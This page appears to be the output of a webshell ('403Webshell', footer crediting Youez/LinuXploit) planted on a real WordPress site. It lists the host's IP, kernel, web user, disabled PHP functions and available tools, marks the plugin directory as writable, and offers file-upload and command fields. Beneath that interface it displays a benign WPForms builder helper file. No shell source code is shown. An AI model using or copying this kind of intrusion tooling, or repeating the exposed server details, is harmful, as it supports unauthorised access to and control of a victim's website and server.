403Webshell
Server IP : 8.134.250.228  /  Your IP : 216.73.217.39
Web Server : Apache
System : Linux iZ7xv33p9e9ivk7yhmj7ibZ 5.10.134-18.al8.x86_64 #1 SMP Fri Dec 13 16:56:53 CST 2024 x86_64
User : www ( 1000)
PHP Version : 8.0.26
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.gobluemade.com/wp-content/plugins/wpforms-lite/includes/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.gobluemade.com/wp-content/plugins/wpforms-lite/includes/functions/builder.php
<?php
/**
 * Helpers functions for builder.
 *
 * @since 1.9.6.1
 */

/**
 * Outputs a button element to display the connection status for a given connection.
 *
 * @since 1.9.6.1
 *
 * @param string $connection_id The unique identifier for the connection.
 * @param string $name          The name attribute value to be used for the status input field.
 * @param bool   $is_active     Connection status, where true represents active and false represents inactive.
 */
function wpforms_connection_status_button( string $connection_id, string $name, bool $is_active ) {

	$label = $is_active ? __( 'Active', 'wpforms-lite' ) : __( 'Inactive', 'wpforms-lite' );
	$title = $is_active ? __( 'Deactivate', 'wpforms-lite' ) : __( 'Activate', 'wpforms-lite' );

	printf(
		'<span class="wpforms-builder-settings-block-status wpforms-badge wpforms-badge-sm wpforms-badge-%1$s wpforms-status-button" title="%5$s" data-active="%2$s" data-connection-id="%6$s">%3$s<i class="wpforms-status-label">%4$s</i></span>',
		sanitize_html_class( $is_active ? 'green' : 'silver' ),
		esc_attr( $is_active ),
		$is_active ? '<i class="fa fa-check"></i>' : '<i class="fa fa-times"></i>',
		esc_html( $label ),
		esc_attr( $title ),
		esc_attr( $connection_id )
	);

	printf( '<input type="hidden" name="%1$s" id="wpforms-connection-status-%2$s" value="%3$d">', esc_attr( $name ), esc_attr( $connection_id ), absint( $is_active ) );
}

Youez - 2016 - github.com/yon3zu
LinuXploit